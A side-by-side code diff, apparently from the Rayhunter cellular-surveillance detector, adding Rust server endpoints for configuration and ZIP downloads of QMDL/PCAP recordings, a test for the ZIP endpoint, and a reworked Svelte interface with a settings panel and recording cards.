tokio::fs::remove_file(analysis_filepath) keep.push(true);
.await continue;
.map_err(RecordingStoreError::DeleteFileError)?; }
if let Err(e) = remove_file_if_exists(&analysis_filepath).await {
log::warn!("failed to remove {analysis_filepath:?}: {e:?}");
keep.push(true);
continue;
}
keep.push(false);
} }
self.manifest.entries.drain(..);
let mut keep_iter = keep.into_iter();
self.manifest.entries.retain(|_| keep_iter.next().unwrap());
self.write_manifest().await?; self.write_manifest().await?;
Ok(()) Ok(())
} }
} }
async fn remove_file_if_exists(path: &Path) -> Result<(), io::Error> {
match tokio::fs::remove_file(path).await {
Err(e) if e.kind() == ErrorKind::NotFound => Ok(()),
res => res,
}
}
#[cfg(test)] #[cfg(test)]
mod tests { mod tests {
use super::*; use super::*;
+264 -9
View File
@@ -1,27 +1,39 @@
use anyhow::Error;
use async_zip::tokio::write::ZipFileWriter;
use async_zip::Compression;
use async_zip::ZipEntryBuilder;
use axum::body::Body; use axum::body::Body;
use axum::extract::Path; use axum::extract::Path;
use axum::extract::State; use axum::extract::State;
use axum::http::header::{self, CONTENT_LENGTH, CONTENT_TYPE}; use axum::http::header::{self, CONTENT_LENGTH, CONTENT_TYPE};
use axum::http::{HeaderValue, StatusCode}; use axum::http::{HeaderValue, StatusCode};
use axum::response::{IntoResponse, Response}; use axum::response::{IntoResponse, Response};
use axum::Json;
use include_dir::{include_dir, Dir}; use include_dir::{include_dir, Dir};
use log::error;
use std::sync::Arc; use std::sync::Arc;
use tokio::io::AsyncReadExt; use tokio::fs::write;
use tokio::io::{copy, duplex, AsyncReadExt};
use tokio::sync::mpsc::Sender; use tokio::sync::mpsc::Sender;
use tokio::sync::RwLock; use tokio::sync::{oneshot, RwLock};
use tokio_util::compat::FuturesAsyncWriteCompatExt;
use tokio_util::io::ReaderStream; use tokio_util::io::ReaderStream;
use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus}; use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
use crate::config::Config;
use crate::pcap::generate_pcap_data;
use crate::qmdl_store::RecordingStore; use crate::qmdl_store::RecordingStore;
use crate::{display, DiagDeviceCtrlMessage}; use crate::{display, DiagDeviceCtrlMessage};
pub struct ServerState { pub struct ServerState {
pub config_path: String,
pub config: Config,
pub qmdl_store_lock: Arc<RwLock<RecordingStore>>, pub qmdl_store_lock: Arc<RwLock<RecordingStore>>,
pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>, pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>,
pub ui_update_sender: Sender<display::DisplayState>, pub ui_update_sender: Sender<display::DisplayState>,
pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>, pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>,
pub analysis_sender: Sender<AnalysisCtrlMessage>, pub analysis_sender: Sender<AnalysisCtrlMessage>,
pub debug_mode: bool, pub daemon_restart_tx: Arc<RwLock<Option<oneshot::Sender<()>>>>,
} }
pub async fn get_qmdl( pub async fn get_qmdl(
@@ -34,12 +46,15 @@ pub async fn get_qmdl(
StatusCode::NOT_FOUND, StatusCode::NOT_FOUND,
format!("couldn't find qmdl file with name {}", qmdl_idx), format!("couldn't find qmdl file with name {}", qmdl_idx),
))?; ))?;
let qmdl_file = qmdl_store.open_entry_qmdl(entry_index).await.map_err(|e| { let qmdl_file = qmdl_store
( .open_entry_qmdl(entry_index)
StatusCode::INTERNAL_SERVER_ERROR, .await
format!("error opening QMDL file: {}", e), .map_err(|err| {
) (
})?; StatusCode::INTERNAL_SERVER_ERROR,
format!("error opening QMDL file: {}", err),
)
})?;
let limited_qmdl_file = qmdl_file.take(entry.qmdl_size_bytes as u64); let limited_qmdl_file = qmdl_file.take(entry.qmdl_size_bytes as u64);
let qmdl_stream = ReaderStream::new(limited_qmdl_file); let qmdl_stream = ReaderStream::new(limited_qmdl_file);
@@ -76,3 +91,243 @@ pub async fn serve_static(
.unwrap(), .unwrap(),
} }
} }
pub async fn get_config(
State(state): State<Arc<ServerState>>,
) -> Result<Json<Config>, (StatusCode, String)> {
Ok(Json(state.config.clone()))
}
pub async fn set_config(
State(state): State<Arc<ServerState>>,
Json(config): Json<Config>,
) -> Result<(StatusCode, String), (StatusCode, String)> {
let config_str = toml::to_string_pretty(&config).map_err(|err| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("failed to serialize config as TOML: {}", err),
)
})?;
write(&state.config_path, config_str).await.map_err(|err| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("failed to write config file: {}", err),
)
})?;
// Trigger daemon restart after writing config
let mut restart_tx = state.daemon_restart_tx.write().await;
if let Some(sender) = restart_tx.take() {
sender.send(()).map_err(|_| {
(
StatusCode::INTERNAL_SERVER_ERROR,
"couldn't send restart signal".to_string(),
)
})?;
Ok((
StatusCode::ACCEPTED,
"wrote config and triggered restart".to_string(),
))
} else {
Ok((
StatusCode::ACCEPTED,
"wrote config but restart already triggered".to_string(),
))
}
}
pub async fn get_zip(
State(state): State<Arc<ServerState>>,
Path(entry_name): Path<String>,
) -> Result<Response, (StatusCode, String)> {
let qmdl_idx = entry_name.trim_end_matches(".zip").to_owned();
let (entry_index, qmdl_size_bytes) = {
let qmdl_store = state.qmdl_store_lock.read().await;
let (entry_index, entry) = qmdl_store.entry_for_name(&qmdl_idx).ok_or((
StatusCode::NOT_FOUND,
format!("couldn't find entry with name {}", qmdl_idx),
))?;
if entry.qmdl_size_bytes == 0 {
return Err((
StatusCode::SERVICE_UNAVAILABLE,
"QMDL file is empty, try again in a bit!".to_string(),
));
}
(entry_index, entry.qmdl_size_bytes)
};
let qmdl_store_lock = state.qmdl_store_lock.clone();
let (reader, writer) = duplex(8192);
tokio::spawn(async move {
let result: Result<(), Error> = async {
let mut zip = ZipFileWriter::with_tokio(writer);
// Add QMDL file
{
let entry =
ZipEntryBuilder::new(format!("{qmdl_idx}.qmdl").into(), Compression::Stored);
// FuturesAsyncWriteCompatExt::compat_write because async-zip's entrystream does
// not impl tokio's AsyncWrite, but only future's AsyncWrite. This can be removed
// once https://github.com/Majored/rs-async-zip/pull/160 is released.
let mut entry_writer = zip.write_entry_stream(entry).await?.compat_write();
let mut qmdl_file = {
let qmdl_store = qmdl_store_lock.read().await;
qmdl_store
.open_entry_qmdl(entry_index)
.await?
.take(qmdl_size_bytes as u64)
};
copy(&mut qmdl_file, &mut entry_writer).await?;
entry_writer.into_inner().close().await?;
}
// Add PCAP file
{
let entry =
ZipEntryBuilder::new(format!("{qmdl_idx}.pcapng").into(), Compression::Stored);
let mut entry_writer = zip.write_entry_stream(entry).await?.compat_write();
let qmdl_file_for_pcap = {
let qmdl_store = qmdl_store_lock.read().await;
qmdl_store
.open_entry_qmdl(entry_index)
.await?
.take(qmdl_size_bytes as u64)
};
if let Err(e) =
generate_pcap_data(&mut entry_writer, qmdl_file_for_pcap, qmdl_size_bytes).await
{
// if we fail to generate the PCAP file, we should still continue and give the
// user the QMDL.
error!("Failed to generate PCAP: {:?}", e);
}
entry_writer.into_inner().close().await?;
}
zip.close().await?;
Ok(())
}
.await;
if let Err(e) = result {
error!("Error generating ZIP file: {:?}", e);
}
});
let headers = [(CONTENT_TYPE, "application/zip")];
let body = Body::from_stream(ReaderStream::new(reader));
Ok((headers, body).into_response())
}
#[cfg(test)]
mod tests {
use super::*;
use async_zip::base::read::mem::ZipFileReader;
use axum::extract::{Path, State};
use tempfile::TempDir;
async fn create_test_qmdl_store() -> (TempDir, Arc<RwLock<crate::qmdl_store::RecordingStore>>) {
let temp_dir = TempDir::new().unwrap();
let store_path = temp_dir.path().to_path_buf();
let store = crate::qmdl_store::RecordingStore::create(&store_path)
.await
.unwrap();
(temp_dir, Arc::new(RwLock::new(store)))
}
async fn create_test_entry_with_data(
store_lock: &Arc<RwLock<crate::qmdl_store::RecordingStore>>,
test_data: &[u8],
) -> String {
let entry_name = {
let mut store = store_lock.write().await;
let (mut qmdl_file, _analysis_file) = store.new_entry().await.unwrap();
if !test_data.is_empty() {
use tokio::io::AsyncWriteExt;
qmdl_file.write_all(test_data).await.unwrap();
qmdl_file.flush().await.unwrap();
}
let current_entry = store.current_entry.unwrap();
let entry = &store.manifest.entries[current_entry];
let entry_name = entry.name.clone();
store
.update_entry_qmdl_size(current_entry, test_data.len())
.await
.unwrap();
entry_name
};
let mut store = store_lock.write().await;
store.close_current_entry().await.unwrap();
entry_name
}
fn create_test_server_state(
store_lock: Arc<RwLock<crate::qmdl_store::RecordingStore>>,
) -> Arc<ServerState> {
let (tx, _rx) = tokio::sync::mpsc::channel(1);
let (ui_tx, _ui_rx) = tokio::sync::mpsc::channel(1);
let (analysis_tx, _analysis_rx) = tokio::sync::mpsc::channel(1);
let analysis_status = {
let store = store_lock.try_read().unwrap();
crate::analysis::AnalysisStatus::new(&*store)
};
Arc::new(ServerState {
config_path: "/tmp/test_config.toml".to_string(),
config: Config::default(),
qmdl_store_lock: store_lock,
diag_device_ctrl_sender: tx,
ui_update_sender: ui_tx,
analysis_status_lock: Arc::new(RwLock::new(analysis_status)),
analysis_sender: analysis_tx,
daemon_restart_tx: Arc::new(RwLock::new(None)),
})
}
#[tokio::test]
async fn test_get_zip_success() {
let (_temp_dir, store_lock) = create_test_qmdl_store().await;
let test_qmdl_data = vec![0x7E, 0x00, 0x00, 0x00, 0x10, 0x00, 0x7E];
let entry_name = create_test_entry_with_data(&store_lock, &test_qmdl_data).await;
let state = create_test_server_state(store_lock);
let result = get_zip(State(state), Path(entry_name.clone())).await;
assert!(result.is_ok());
let response = result.unwrap();
let headers = response.headers();
assert_eq!(headers.get("content-type").unwrap(), "application/zip");
let body = response.into_body();
let body_bytes = axum::body::to_bytes(body, usize::MAX).await.unwrap();
let zip_reader = ZipFileReader::new(body_bytes.to_vec()).await.unwrap();
let filenames = zip_reader
.file()
.entries()
.iter()
.map(|entry| entry.filename().as_str().unwrap().to_owned())
.collect::<Vec<String>>();
assert_eq!(
filenames,
vec![format!("{entry_name}.qmdl"), format!("{entry_name}.pcapng"),]
);
}
}
+1 -1
View File
@@ -7,6 +7,6 @@
%sveltekit.head% %sveltekit.head%
</head> </head>
<body data-sveltekit-preload-data="hover"> <body data-sveltekit-preload-data="hover">
<div style="display: contents">%sveltekit.body%</div> <div style="display: contents" class="m-4 xl:m-8">%sveltekit.body%</div>
</body> </body>
</html> </html>
+3 -3
View File
@@ -72,7 +72,7 @@ export function parse_finished_report(report_json: NewlineDeliminatedJson): Anal
const events: Event[] = analysis_json.events.map((event_json: any): Event | null => { const events: Event[] = analysis_json.events.map((event_json: any): Event | null => {
if (event_json === null) { if (event_json === null) {
return null; return null;
} else if (event_json.event_type === "Informational") { } else if (event_json.event_type.type === "Informational") {
num_informational_logs += 1; num_informational_logs += 1;
return { return {
type: EventType.Informational, type: EventType.Informational,
@@ -82,8 +82,8 @@ export function parse_finished_report(report_json: NewlineDeliminatedJson): Anal
num_warnings += 1; num_warnings += 1;
return { return {
type: EventType.Warning, type: EventType.Warning,
severity: event_json.severity === "High" ? Severity.High : severity: event_json.event_type.severity === "High" ? Severity.High :
event_json.severity === "Medium" ? Severity.Medium : Severity.Low, event_json.event_type.severity === "Medium" ? Severity.Medium : Severity.Low,
message: event_json.message, message: event_json.message,
}; };
} }
@@ -2,9 +2,10 @@
import { AnalysisStatus } from "$lib/analysisManager.svelte"; import { AnalysisStatus } from "$lib/analysisManager.svelte";
import { EventType } from "$lib/analysis.svelte"; import { EventType } from "$lib/analysis.svelte";
import type { ManifestEntry } from "$lib/manifest.svelte"; import type { ManifestEntry } from "$lib/manifest.svelte";
let { entry, onclick }: { let { entry, onclick, analysis_visible}: {
entry: ManifestEntry, entry: ManifestEntry,
onclick: () => void, onclick: () => void,
analysis_visible: boolean,
} = $props(); } = $props();
let summary = $derived.by(() => { let summary = $derived.by(() => {
@@ -41,12 +42,11 @@
return finished && report_available; return finished && report_available;
}) })
let button_class = $derived(ready ? "text-blue-600 underline" : ''); let button_class = $derived(ready ? "text-blue-600 border rounded-full px-2" : '');
</script> </script>
<button class="flex flex-row gap-1 lg:gap-2" disabled={!ready} {onclick}>
<button class={button_class} disabled={!ready} {onclick}> <span class="{button_class} {entry.get_num_warnings() < 1 ? 'text-green-700 border-green-500 bg-green-200' : 'text-red-700 border-red-500 bg-red-200'}">{summary}</span>
{summary} <svg class="w-6 h-6 text-gray-800 transition-transform {analysis_visible ? 'rotate-180' : ''}" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
</button> <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m19 9-7 7-7-7"/>
</svg>
<style> </button>
</style>
+41 -38
View File
@@ -25,60 +25,63 @@
return map; return map;
}); });
</script> </script>
<div>
<p class="text-lg underline">Warnings and Informational Logs</p> <p class="text-lg underline">Warnings and Informational Logs</p>
{#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0} {#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0}
<p>Nothing to show!</p> <p>Nothing to show!</p>
{:else} {:else}
<table class="table-auto text-left border"> <table class="table-auto text-left">
<thead class="p-2"> <thead class="p-2">
<tr class="bg-gray-300"> <tr class="bg-gray-300">
<th scope="col">Timestamp</th> <th class="p-2">Timestamp</th>
<th scope="col">Warning</th> <th class="p-2">Warning</th>
<th scope="col">Severity</th> <th class="p-2">Severity</th>
</tr> </tr>
</thead> </thead>
<tbody> <tbody>
{#each report.rows as row, row_idx} {#each report.rows as row, row_idx}
{#each row.analysis as analysis} {#each row.analysis as analysis}
{@const parsed_date = new Date(analysis.timestamp)} {@const parsed_date = new Date(analysis.timestamp)}
{#each analysis.events.filter(e => e !== null) as event} {#each analysis.events.filter(e => e !== null) as event}
<tr class="even:bg-gray-200 border-b"> <tr class="even:bg-gray-200 odd:bg-white">
{#if event.type === EventType.Warning} {#if event.type === EventType.Warning}
{@const severity = ['Low', 'Medium', 'High'][event.severity]} {@const severity = ['Low', 'Medium', 'High'][event.severity]}
{@const severity_class = ['bg-red-200', 'bg-red-400', 'bg-red-600'][event.severity]} {@const severity_class = ['bg-red-200', 'bg-red-400', 'bg-red-600'][event.severity]}
<th class="p-2">{date_formatter.format(parsed_date)}</th> <td class="p-2">{date_formatter.format(parsed_date)}</td>
<td class="p-2">{event.message}</td> <td class="p-2">{event.message}</td>
<td class="p-2 {severity_class}">{severity}</td> <td class="p-2 {severity_class} text-center">{severity}</td>
{:else if event.type === EventType.Informational} {:else if event.type === EventType.Informational}
<th class="p-2">{date_formatter.format(parsed_date)}</th> <td class="p-2">{date_formatter.format(parsed_date)}</td>
<td class="p-2">{event.message}</td> <td class="p-2">{event.message}</td>
<td class="p-2">Info</td> <td class="p-2">Info</td>
{/if} {/if}
</tr> </tr>
{/each}
{/each} {/each}
{/each} {/each}
{/each} </tbody>
</tbody> </table>
</table> {/if}
{/if} </div>
{#if report.statistics.num_skipped_packets > 0} {#if report.statistics.num_skipped_packets > 0}
<div>
<p class="text-lg underline">Unparsed Messages</p> <p class="text-lg underline">Unparsed Messages</p>
<p>These are due to a limitation or bug in Rayhunter's parser, and aren't ususally a problem.</p> <p>These are due to a limitation or bug in Rayhunter's parser, and aren't ususally a problem.</p>
<table class="table-auto text-left border"> <table class="table-auto text-left">
<thead class="p-2"> <thead class="p-2">
<tr class="bg-gray-300"> <tr class="bg-gray-300">
<th scope="col"># of messages affected</th> <th scope="col" class="p-2">Total Msgs Affected</th>
<th scope="col">Reason/Error</th> <th scope="col">Reason/Error</th>
</tr> </tr>
</thead> </thead>
<tbody> <tbody>
{#each skipped_messages.entries() as [message, count]} {#each skipped_messages.entries() as [message, count]}
<tr class="even:bg-gray-200 border-b"> <tr class="even:bg-gray-200 odd:bg-white">
<td>{count}</td> <td class="text-center">{count}</td>
<td>{message}</td> <td>{message}</td>
</tr> </tr>
{/each} {/each}
</tbody> </tbody>
</table> </table>
</div>
{/if} {/if}
+14 -12
View File
@@ -13,32 +13,34 @@
}); });
</script> </script>
<div class="container max-h-96 overflow-auto"> <div class="container mt-2">
{#if entry.analysis_report === undefined} {#if entry.analysis_report === undefined}
<p>Report unavailable, try refreshing.</p> <p>Report unavailable, try refreshing.</p>
{:else if typeof(entry.analysis_report) === 'string'} {:else if typeof(entry.analysis_report) === 'string'}
<p>Error getting analysis report: {entry.analysis_report}</p> <p>Error getting analysis report: {entry.analysis_report}</p>
{:else} {:else}
{@const metadata: ReportMetadata = entry.analysis_report.metadata} {@const metadata: ReportMetadata = entry.analysis_report.metadata}
<div class="flex flex-col pl-2 pr-10 w-full"> <div class="flex flex-col gap-2">
{#if entry.analysis_report.rows.length > 0} {#if entry.analysis_report.rows.length > 0}
<AnalysisTable report={entry.analysis_report} /> <AnalysisTable report={entry.analysis_report} />
{:else} {:else}
<p>No warnings to display!</p> <p>No warnings to display!</p>
{/if} {/if}
{#if metadata !== undefined && metadata.rayhunter !== undefined}
<div> <div>
<p class="text-lg underline">Metadata</p> <p class="text-lg underline">Metadata</p>
{#if metadata !== undefined && metadata.rayhunter !== undefined} <p>Analysis by Rayhunter version {metadata.rayhunter.rayhunter_version}</p>
<p>Analysis by Rayhunter version {metadata.rayhunter.rayhunter_version}</p> <p><b>Device system OS:</b> {metadata.rayhunter.system_os}</p>
<p><b>Device system OS:</b> {metadata.rayhunter.system_os}</p>
<p class="text-lg underline">Analyzers</p>
{#each metadata.analyzers as analyzer}
<p><b>{analyzer.name}:</b> {analyzer.description}</p>
{/each}
{:else}
<p>N/A (analysis generated by an older version of rayhunter)</p>
{/if}
</div> </div>
<div>
<p class="text-lg underline">Analyzers</p>
{#each metadata.analyzers as analyzer}
<p><b>{analyzer.name}:</b> {analyzer.description}</p>
{/each}
</div>
{:else}
<p>N/A (analysis generated by an older version of rayhunter)</p>
{/if}
</div> </div>
{/if} {/if}
</div> </div>
@@ -0,0 +1,194 @@
<script lang="ts">
import { get_config, set_config, type Config } from '../utils.svelte';
let config = $state<Config | null>(null);
let loading = $state(false);
let saving = $state(false);
let message = $state("");
let messageType = $state<"success" | "error" | null>(null);
let showConfig = $state(false);
async function loadConfig() {
try {
loading = true;
config = await get_config();
message = "";
messageType = null;
} catch (error) {
message = `Failed to load config: ${error}`;
messageType = "error";
} finally {
loading = false;
}
}
async function saveConfig() {
if (!config) return;
try {
saving = true;
await set_config(config);
message = "Config saved successfully! Rayhunter is restarting now. Reload the page in a few seconds.";
messageType = "success";
} catch (error) {
message = `Failed to save config: ${error}`;
messageType = "error";
} finally {
saving = false;
}
}
// Load config when first shown
$effect(() => {
if (showConfig && !config) {
loadConfig();
}
});
</script>
<div class="bg-white rounded-lg shadow-md p-6 m-4">
<button
class="w-full flex justify-between items-center text-xl font-bold mb-4 text-rayhunter-dark-blue hover:text-rayhunter-blue"
onclick={() => showConfig = !showConfig}
>
<span>Configuration</span>
<svg class="w-6 h-6 transition-transform {showConfig ? 'rotate-180' : ''}" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7"></path>
</svg>
</button>
{#if showConfig}
{#if loading}
<div class="text-center py-4">Loading config...</div>
{:else if config}
<form class="space-y-4" onsubmit={(e) => { e.preventDefault(); saveConfig(); }}>
<div>
<label for="ui_level" class="block text-sm font-medium text-gray-700 mb-1">
Device UI Level
</label>
<select
id="ui_level"
bind:value={config.ui_level}
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
>
<option value={0}>0 - Invisible mode</option>
<option value={1}>1 - Subtle mode (colored line)</option>
<option value={2}>2 - Demo mode (orca gif)</option>
<option value={3}>3 - EFF logo</option>
</select>
</div>
<div>
<label for="key_input_mode" class="block text-sm font-medium text-gray-700 mb-1">
Device Input Mode
</label>
<select
id="key_input_mode"
bind:value={config.key_input_mode}
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
>
<option value={0}>0 - Disable button control</option>
<option value={1}>1 - Double-tap power button to start/stop recording</option>
</select>
</div>
<div class="space-y-3">
<div class="flex items-center">
<input
id="colorblind_mode"
type="checkbox"
bind:checked={config.colorblind_mode}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="colorblind_mode" class="ml-2 block text-sm text-gray-700">
Colorblind Mode
</label>
</div>
</div>
<div class="border-t pt-4 mt-6">
<h3 class="text-lg font-semibold text-gray-800 mb-4">Analyzer Heuristic Settings</h3>
<div class="space-y-3">
<div class="flex items-center">
<input
id="imsi_requested"
type="checkbox"
bind:checked={config.analyzers.imsi_requested}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="imsi_requested" class="ml-2 block text-sm text-gray-700">
IMSI Requested Heuristic
</label>
</div>
<div class="flex items-center">
<input
id="connection_redirect_2g_downgrade"
type="checkbox"
bind:checked={config.analyzers.connection_redirect_2g_downgrade}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="connection_redirect_2g_downgrade" class="ml-2 block text-sm text-gray-700">
Connection Redirect 2G Downgrade Heuristic
</label>
</div>
<div class="flex items-center">
<input
id="lte_sib6_and_7_downgrade"
type="checkbox"
bind:checked={config.analyzers.lte_sib6_and_7_downgrade}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="lte_sib6_and_7_downgrade" class="ml-2 block text-sm text-gray-700">
LTE SIB6 and SIB7 Downgrade Heuristic
</label>
</div>
<div class="flex items-center">
<input
id="null_cipher"
type="checkbox"
bind:checked={config.analyzers.null_cipher}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label for="null_cipher" class="ml-2 block text-sm text-gray-700">
Null Cipher Heuristic
</label>
</div>
</div>
</div>
<div class="flex gap-2 pt-4">
<button
type="submit"
disabled={saving}
class="bg-blue-500 hover:bg-blue-700 disabled:opacity-50 text-white font-bold py-2 px-4 rounded-md flex flex-row gap-1 items-center"
>
{#if saving}
<div class="w-4 h-4 border-2 border-white border-t-transparent rounded-full animate-spin"></div>
Saving...
{:else}
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
</svg>
Apply and restart
{/if}
</button>
</div>
</form>
{#if message}
<div class="mt-4 p-3 rounded {messageType === 'error' ? 'bg-red-100 text-red-700' : 'bg-green-100 text-green-700'}">
{message}
</div>
{/if}
{:else}
<div class="text-center py-4 text-red-600">
Failed to load configuration. Please try reloading the page.
</div>
{/if}
{/if}
</div>
@@ -1,23 +0,0 @@
<script lang="ts">
import { req } from "$lib/utils.svelte";
import DeleteButton from "./DeleteButton.svelte";
import RecordingControls from "./RecordingControls.svelte";
let { server_is_recording }: {
server_is_recording: boolean;
} = $props();
function confirmDelete() {
if (window.confirm(`Permanently delete ALL entries?`)) {
req('POST', '/api/delete-all-recordings')
}
}
</script>
<div class="flex flex-row gap-2">
<RecordingControls {server_is_recording} />
<DeleteButton
text="Delete ALL Entries"
prompt={`Are you sure you want to delete ALL entries?`}
url={`/api/delete-all-recordings`}
/>
</div>
@@ -0,0 +1,18 @@
<script lang="ts">
import { req } from "$lib/utils.svelte";
import DeleteButton from "./DeleteButton.svelte";
function confirmDelete() {
if (window.confirm(`Permanently delete ALL recordings?`)) {
req('POST', '/api/delete-all-recordings')
}
}
</script>
<div class="flex flex-row justify-end gap-2">
<DeleteButton
text="Delete ALL Recordings"
prompt={`Are you sure you want to delete ALL recordings?`}
url={`/api/delete-all-recordings`}
/>
</div>
@@ -1,7 +1,8 @@
<script lang="ts"> <script lang="ts">
let { url, text }: { let { url, text, full_button=false }: {
url: string; url: string;
text: string; text: string;
full_button?: boolean;
} = $props(); } = $props();
function download() { function download() {
@@ -9,8 +10,9 @@
} }
</script> </script>
<button class="text-blue-600 flex flex-row underline" onclick={download}> <button class="flex flex-row {full_button ? 'bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-md' : 'text-blue-600 underline'}" onclick={download}>
{text} <svg class="fill-current w-4 h-4 m-1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"> {text}
<svg class="fill-current w-4 h-4 m-1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20">
<path d="M13 8V2H7v6H2l8 8 8-8h-5zM0 18h20v2H0v-2z"/> <path d="M13 8V2H7v6H2l8 8 8-8h-5zM0 18h20v2H0v-2z"/>
</svg> </svg>
</button> </button>
@@ -0,0 +1,75 @@
<script lang="ts">
import { ManifestEntry } from "$lib/manifest.svelte";
import DownloadLink from '$lib/components/DownloadLink.svelte';
import DeleteButton from "$lib/components/DeleteButton.svelte";
import AnalysisStatus from "./AnalysisStatus.svelte";
import AnalysisView from "./AnalysisView.svelte";
import RecordingControls from "./RecordingControls.svelte";
let { entry, current, i, server_is_recording }: {
entry: ManifestEntry;
current: boolean;
i: number;
server_is_recording: boolean;
} = $props();
// passing `undefined` as the locale uses the browser default
const date_formatter = new Intl.DateTimeFormat(undefined, {
timeStyle: "long",
dateStyle: "short",
});
let status_row_color = $derived.by(() => {
const num_warnings = entry.get_num_warnings();
if (num_warnings !== undefined && num_warnings > 0) {
return "bg-red-100";
}
return current ? "bg-green-100" : "bg-gray-100"
});
let status_border_color = $derived.by(() => {
const num_warnings = entry.get_num_warnings();
if (num_warnings !== undefined && num_warnings > 0) {
return "border-red-100";
}
return current ? "border-green-100" : "border-gray-100"
});
let analysis_visible = $state(false);
function toggle_analysis_visibility() {
analysis_visible = !analysis_visible;
}
</script>
<div class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1">
{#if current}
<div class="flex flex-row justify-between gap-2">
<span class="text-xl mb-2">Current Recording</span>
<span class=""><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} analysis_visible={analysis_visible}/></span>
</div>
{/if}
<div class="flex flex-col">
<div class="flex flex-row justify-between">
<span class="font-bold">ID: {entry.name}</span>
{#if !current}
<span class=""><AnalysisStatus onclick={toggle_analysis_visibility} entry={entry} analysis_visible={analysis_visible}/></span>
{/if}
</div>
<span class="">{entry.get_readable_qmdl_size()}</span>
</div>
<div class="flex flex-col">
<span class="">Start: {date_formatter.format(entry.start_time)}</span>
<span class="">Last Message: {entry.last_message_time && date_formatter.format(entry.last_message_time) || "N/A"}</span>
</div>
<div class="flex flex-row justify-between lg:justify-end gap-2 mt-2">
<DownloadLink url={entry.get_pcap_url()} text="pcap" full_button=true />
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button=true />
<DownloadLink url={entry.get_zip_url()} text="zip" full_button=true />
{#if current}
<RecordingControls {server_is_recording} />
{:else}
<DeleteButton
prompt={`Are you sure you want to delete entry ${entry.name}?`}
url={entry.get_delete_url()}
/>
{/if}
</div>
<div class="border-b {analysis_visible ? '' : 'hidden'}">
<AnalysisView {entry} />
</div>
</div>
+19 -13
View File
@@ -1,32 +1,38 @@
<script lang="ts"> <script lang="ts">
import { Manifest, ManifestEntry } from "$lib/manifest.svelte"; import { Manifest, ManifestEntry } from "$lib/manifest.svelte";
import TableRow from "./ManifestTableRow.svelte"; import TableRow from "./ManifestTableRow.svelte";
import Card from "./ManifestCard.svelte"
interface Props { interface Props {
entries: ManifestEntry[]; entries: ManifestEntry[];
current_entry: ManifestEntry | undefined; server_is_recording: boolean;
} }
let { entries, current_entry }: Props = $props(); let { entries, server_is_recording }: Props = $props();
</script> </script>
<table class="table-auto text-left border"> <!--For larger screens we use a table-->
<thead class="p-2"> <table class="hidden table-auto text-left lg:table">
<tr class="bg-gray-300"> <thead>
<th class='p-2' scope="col">Name</th> <tr class="bg-gray-100 drop-shadow">
<th class='p-2' scope="col">Date Started</th> <th class='p-2' scope="col">ID</th>
<th class='p-2' scope="col">Date of Last Message</th> <th class='p-2' scope="col">Started</th>
<th class='p-2' scope="col">Size (bytes)</th> <th class='p-2' scope="col">Last Message</th>
<th class='p-2' scope="col">Size</th>
<th class='p-2' scope="col">PCAP</th> <th class='p-2' scope="col">PCAP</th>
<th class='p-2' scope="col">QMDL</th> <th class='p-2' scope="col">QMDL</th>
<th class='p-2' scope="col">ZIP</th>
<th class='p-2' scope="col">Analysis</th> <th class='p-2' scope="col">Analysis</th>
<th class='p-2' scope="col">Delete</th> <th class='p-2' scope="col"></th>
</tr> </tr>
</thead> </thead>
<tbody> <tbody>
{#if current_entry !== undefined}
<TableRow entry={current_entry} current={true} i={0} />
{/if}
{#each entries as entry, i} {#each entries as entry, i}
<TableRow {entry} current={false} {i} /> <TableRow {entry} current={false} {i} />
{/each} {/each}
</tbody> </tbody>
</table> </table>
<!--For smaller screens we use cards-->
<div class="lg:hidden flex flex-col gap-4">
{#each entries as entry, i}
<Card {entry} current={false} {i} {server_is_recording} />
{/each}
</div>
@@ -7,7 +7,7 @@
let { entry, current, i }: { let { entry, current, i }: {
entry: ManifestEntry; entry: ManifestEntry;
current: boolean; current: boolean;
i: number i: number;
} = $props(); } = $props();
// passing `undefined` as the locale uses the browser default // passing `undefined` as the locale uses the browser default
@@ -29,14 +29,15 @@
} }
</script> </script>
<tr class="{status_row_color}"> <tr class="{status_row_color} drop-shadow">
<th class="font-bold p-2 bg-blue-100" scope='row'>{entry.name}</th> <td class="p-2">{entry.name}</td>
<td class="p-2">{date_formatter.format(entry.start_time)}</td> <td class="p-2">{date_formatter.format(entry.start_time)}</td>
